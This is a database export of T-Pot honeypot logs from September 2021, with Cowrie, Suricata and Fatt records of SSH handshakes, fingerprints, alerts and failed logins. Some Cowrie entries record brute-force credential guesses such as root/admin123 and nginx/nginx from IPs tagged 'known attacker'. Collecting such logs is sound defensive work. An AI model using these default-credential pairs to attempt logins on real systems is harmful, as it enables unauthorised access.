"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36986, "dest_port": 22, "timestamp": "2021-09-20T11:12:49.434716", "@timestamp": "2021-09-20T11:12:49.434Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26594	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:49.696621+03	2021-09-20 14:15:13.477677+03	{"_id": "nAboAnwBvYTbRNuEmiIm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [gaurav/gaurav] failed", "session": "d1a740f717f8", "@version": "1", "password": "gaurav", "username": "gaurav", "timestamp": "2021-09-20T11:12:49.696621Z", "@timestamp": "2021-09-20T11:12:49.696Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26595	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:12:50.712656+03	2021-09-20 14:15:13.478675+03	{"_id": "nQboAnwBvYTbRNuEnCI9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1586335105001538, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex", "is_ssh_client_banner"]}, "src_port": 49304, "dest_port": 22, "timestamp": "2021-09-20T11:12:50.712656Z", "@timestamp": "2021-09-20T11:12:50.712Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26596	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:35.804183+03	2021-09-20 14:15:13.479645+03	{"_id": "FgboAnwBvYTbRNuEYiLG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "157.245.53.4", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43588, "timestamp": "2021-09-20T11:12:35.804183", "@timestamp": "2021-09-20T11:12:35.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26597	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:35.769824+03	2021-09-20 14:15:13.481646+03	{"_id": "GAboAnwBvYTbRNuEYiLI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57010, "timestamp": "2021-09-20T11:12:35.769824", "@timestamp": "2021-09-20T11:12:35.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26598	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:12:37.000618+03	2021-09-20 14:15:13.482646+03	{"_id": "LwboAnwBvYTbRNuEZSKF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:11:35.714653+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 2192565443487645, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 63152, "timestamp": "2021-09-20T11:12:37.000618Z", "@timestamp": "2021-09-20T11:12:37.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
26599	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 14:12:36.252417+03	2021-09-20 14:15:13.483646+03	{"_id": "MAboAnwBvYTbRNuEZSKF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:35.092180+0000", "pkts_toclient": 0, "pkts_toserver": 5, "bytes_toclient": 0, "bytes_toserver": 590}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1775751756212244, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8FAAAAAAAAAAAAAAAAAAIEAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:12:36.252417Z", "@timestamp": "2021-09-20T11:12:36.252Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........................................................"}}	1	\N	\N	alert	\N	\N
26600	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:12:36.782812+03	2021-09-20 14:15:13.484646+03	{"_id": "NwboAnwBvYTbRNuEZyJU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.login.failed", "message": "login attempt [nginx/nginx] failed", "session": "cc3285b20190", "@version": "1", "password": "nginx", "username": "nginx", "timestamp": "2021-09-20T11:12:36.782812Z", "@timestamp": "2021-09-20T11:12:36.782Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26601	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:38.452679+03	2021-09-20 14:15:13.485646+03	{"_id": "OQboAnwBvYTbRNuEayI8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c7ebacffa0ff", "@version": "1", "duration": 2.524405002593994, "timestamp": "2021-09-20T11:12:38.452679Z", "@timestamp": "2021-09-20T11:12:38.452Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26602	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:38.869014+03	2021-09-20 14:15:13.487645+03	{"_id": "OwboAnwBvYTbRNuEbyIm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "01cb298fd466", "@version": "1", "duration": 3.376828193664551, "timestamp": "2021-09-20T11:12:38.869014Z", "@timestamp": "2021-09-20T11:12:38.869Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26608	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:12:44.601627+03	2021-09-20 14:15:13.496655+03	{"_id": "YQboAnwBvYTbRNuEhSLw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35248, "dest_port": 22, "timestamp": "2021-09-20T11:12:44.601627", "@timestamp": "2021-09-20T11:12:44.601Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26603	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:40.495972+03	2021-09-20 14:15:13.488674+03	{"_id": "PwboAnwBvYTbRNuEcyIO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a8689fca5224", "@version": "1", "timestamp": "2021-09-20T11:12:40.495972Z", "@timestamp": "2021-09-20T11:12:40.495Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26604	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:40.304344+03	2021-09-20 14:15:13.489645+03	{"_id": "QwboAnwBvYTbRNuEcyIP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a8689fca5224", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:40.304344Z", "@timestamp": "2021-09-20T11:12:40.304Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26605	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:12:40.192232+03	2021-09-20 14:15:13.490674+03	{"_id": "RAboAnwBvYTbRNuEdSIm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:40.192232+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "115.72.130.93", "flow_id": 2060686329442024, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 48628, "timestamp": "2021-09-20T11:12:40.192232Z", "@timestamp": "2021-09-20T11:12:40.192Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
26606	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:12:42.970774+03	2021-09-20 14:15:13.492684+03	{"_id": "SwboAnwBvYTbRNuEfiLI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [root/admin123] failed", "session": "3325e692de3e", "@version": "1", "password": "admin123", "username": "root", "timestamp": "2021-09-20T11:12:42.970774Z", "@timestamp": "2021-09-20T11:12:42.970Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
